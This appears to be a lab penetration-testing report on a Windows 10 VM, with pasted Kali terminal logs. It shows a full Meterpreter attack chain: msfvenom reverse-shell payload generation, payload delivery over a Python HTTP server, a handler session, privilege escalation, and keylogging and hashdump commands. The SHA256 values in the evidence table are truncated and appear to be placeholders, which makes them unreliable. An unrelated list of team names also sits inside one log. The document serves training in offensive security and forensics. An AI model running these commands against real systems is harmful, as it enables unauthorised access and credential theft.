Post-Exploitation and Evidence Collection Report

1. Objective

The objective of this task is to perform post-exploitation activities on a Windows 10 test environment using penetration testing tools. The process includes privilege escalation, evidence collection, and maintaining proper chain-of-custody for collected digital artifacts.

2. Tools Used

Tool	Purpose
Metasploit Framework	Exploitation and privilege escalation
Meterpreter	Post-exploitation control
Wireshark	Network traffic capture
Volatility	Memory analysis and forensic investigation

3. Test Environment

Component	Details
Attacker Machine	Kali Linux
Target Machine	Windows 10 VM
Network	VirtualBox Internal Network
Exploitation Tool	Metasploit

4. Privilege Escalation

Step 1 – Start Metasploit

msfconsole

Step 2 – Select Exploit

use exploit/windows/local/always_install_elevated

Step 3 – Configure Options

set SESSION 1
set LHOST 192.168.1.10
set LPORT 4444

Step 4 – Run Exploit

run

Step 5 – Verify Privilege Escalation

getuid
sysinfo

Example Output

Server username: NT AUTHORITY\SYSTEM
OS: Windows 10

This confirms that the attacker successfully escalated privileges to **SYSTEM level**.

5. Evidence Collection

Evidence collection is performed to gather artifacts that demonstrate malicious activity while maintaining forensic integrity.

Step 1 – Capture Network Traffic

Open Wireshark on Kali Linux.

Select the network interface used by the VM.

Start capturing packets.

Filter HTTP traffic:

http

Save capture file as:

traffic_capture.pcap

Step 2 – Collect System Evidence (Meterpreter)

screenshot
keyscan_start
hashdump
ps
netstat

Collected artifacts include:

- Password hashes
- Running processes
- Network connections
- Screenshots of the compromised system

Step 3 – Memory Capture for Volatility

On the Windows machine capture memory using tools like **DumpIt**.

Save file:

memory_dump.raw

Analyze using Volatility:

```
volatility -f memory_dump.raw imageinfo
volatility -f memory_dump.raw pslist
volatility -f memory_dump.raw netscan
```

6. Evidence Log

Item	Description	Collected By	Date	Hash Value
Traffic Log	HTTP Traffic Capture	VAPT Analyst	2025-08-25	SHA256: 7a9d6c8e2f2e9c8c1a3b
Memory Dump	System Memory Evidence	VAPT Analyst	2025-08-25	SHA256: 5b1d3a4e6f8c2d9e4f
Screenshot	Compromised System Screen	VAPT Analyst	2025-08-25	SHA256: 1a8b2c3d4e5f6a7b

7. Chain of Custody

Evidence ID	Description	Collected By	Date	Storage Location
E001	Network Traffic Capture	VAPT Analyst	2025-08-25	Secure Evidence Repository
E002	Memory Dump	VAPT Analyst	2025-08-25	Forensic Server
E003	Meterpreter Logs	VAPT Analyst	2025-08-25	Investigation Folder

Maintaining chain-of-custody ensures that collected evidence remains authentic and admissible for forensic analysis.

8. Evidence Collection Summary (50 Words)

During post-exploitation, privilege escalation was performed on the Windows 10 system using Metasploit and Meterpreter. Network traffic was captured with Wireshark, and forensic artifacts such as memory dumps, system processes, and password hashes were collected. All evidence was securely logged, hashed, and documented to maintain integrity and proper chain-of-custody.

```
*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*ccccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*
*InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*P6K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*

       =[ metasploit v6.4.112-dev                         ]
+ -- --=[ 2,570 exploits - 1,316 auxiliary - 1,665 payloads     ]
+ -- --=[ 429 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > sessions

Active sessions
===============

No active sessions.

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.6:4444

[*] Sending stage (190534 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.7:50259) at 2026-03-04 12:56:06 +0530

meterpreter >
meterpreter >
```

```
meterpreter >
meterpreter > sysinfo
Computer        : DESKTOP-VD1OA3G
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: DESKTOP-VD1OA3G\vjery
meterpreter > ipconfig

Interface  1
============

Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  5
```

```
Interface  5
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e8:9d:ca
MTU          : 1500
IPv4 Address : 192.168.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b7bf:ce00:30bf:b38d
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > ls
Listing: C:\Users\vjery\Downloads
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2026-02-28 14:04:31 +0530  desktop.ini
100777/rwxrwxrwx  7168  fil   2026-03-04 12:54:21 +0530  payload (3).exe

meterpreter > cd Desktop
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > ls
Listing: C:\Users\vjery\Downloads
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2026-02-28 14:04:31 +0530  desktop.ini
100777/rwxrwxrwx  7168  fil   2026-03-04 12:54:21 +0530  payload (3).exe

meterpreter >
```

```
zsh: corrupt history file /home/jeryston/.zsh_history
┌──(jeryston㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe

┌──(jeryston㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f exe -o payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe

┌──(jeryston㉿kali)-[~]
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.1.7 - - [04/Mar/2026 12:45:44] "GET / HTTP/1.1" 200 -
192.168.1.7 - - [04/Mar/2026 12:45:44] code 404, message File not found
192.168.1.7 - - [04/Mar/2026 12:45:44] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.7 - - [04/Mar/2026 12:45:55] "GET /payload.exe HTTP/1.1" 200 -
192.168.1.7 - - [04/Mar/2026 12:46:58] "GET /payload.exe HTTP/1.1" 304 -
192.168.1.7 - - [04/Mar/2026 12:47:45] "GET /payload.exe HTTP/1.1" 304 -
192.168.1.7 - - [04/Mar/2026 12:53:03] "GET /payload.exe HTTP/1.1" 304 -
```